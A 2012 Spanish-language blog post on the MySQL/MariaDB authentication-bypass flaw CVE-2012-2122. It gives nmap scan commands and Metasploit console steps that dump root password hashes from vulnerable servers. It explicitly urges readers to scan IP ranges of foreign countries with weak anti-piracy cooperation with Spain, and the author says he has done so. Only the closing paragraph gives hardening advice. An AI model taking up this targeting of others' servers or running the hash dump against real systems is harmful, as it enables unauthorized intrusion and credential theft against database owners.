martes, 12 de junio de 2012

nmap buscando mysql comprometidos...

Imagino que todos los lectores de este humilde blog hayan leído la nueva vulnerabilidad publicada recientemente sobre las bases de datos Mysql y MariaDb. Vamos a jugar un poco con el nmap, y repasar los conceptos que anteriormente vimos.
Lo primero que deberíamos hacer, es buscarnos un rango de ip´s de algún país comunista, fascista, anarquista, o que no tenga pinta de tener muy buenos acuerdos en materia de piratería informática con España. Para sacar una lista por países me gusta esta web. Sabiendo las versiones afectadas es cuestión de jugar un poco. Podríamos añadir un -o para ver la versión del sistema operativo, en fin...
Nmap  -sS -Pn -n -v -p3306 --open --script=mysql-info  -T5 piripapapapa.
De esta  manera, buscamos puertos Mysql abiertos, de una manera rápida, y usando el motor de scripts y el correspondiente mysql-info nos dará la información que necesitamos. Os recomiendo que useis este script sobre vuestros sistemas a auditar, para ver la información que arroja.
Como se que sois un poco vagos, hay algún script específico para encontrar esta vulnerabilidad. Lo ideal para que funcione sería copy&paste en un fichero y guardarlo en la carpeta de scripts de nuestra navajasuiza.
El uso, tal y como documenta el script es :
nmap -p3306 --script mysql-vuln-cve2012-2122 <target>
nmap -sV --script mysql-vuln-cve2012-2122 <target>




Si queréis ir mas allá sobre un host comprometido, basta con usar la consola-hacker msfconsole.
msf > use auxiliary/scanner/mysql/mysql_authbypass_hashdump
msf  auxiliary(mysql_authbypass_hashdump) > set USERNAME root
msf  auxiliary(mysql_authbypass_hashdump) > set RHOSTS piririririrara
msf  auxiliary(mysql_authbypass_hashdump) > run


el resultado es un fichero txt con los hashes.


A fecha/ de publicación, no he encontrado ningún servidor publicado en internet, en un rango de ip´s digamos de algún país del lejano oriente. Hay muchos mysql conectados a internet, pero los que he encontrado están filtrados a un host de confianza. Por esto la recomendación de seguridad es que no expongas nunca una BBDD si no es completamente necesario. Si debes hacerlo, configura los host permitidos. Por ejemplo, en el fichero my.cnf, en la sección del demonio mysqld cambia o añade una linea para bind-address para localhost (127....)
Si encuentro alguno abierto en internet lo actualizaré, pero vamos...

Primer caso puerto filtrado y segundo caso version no vulnerable.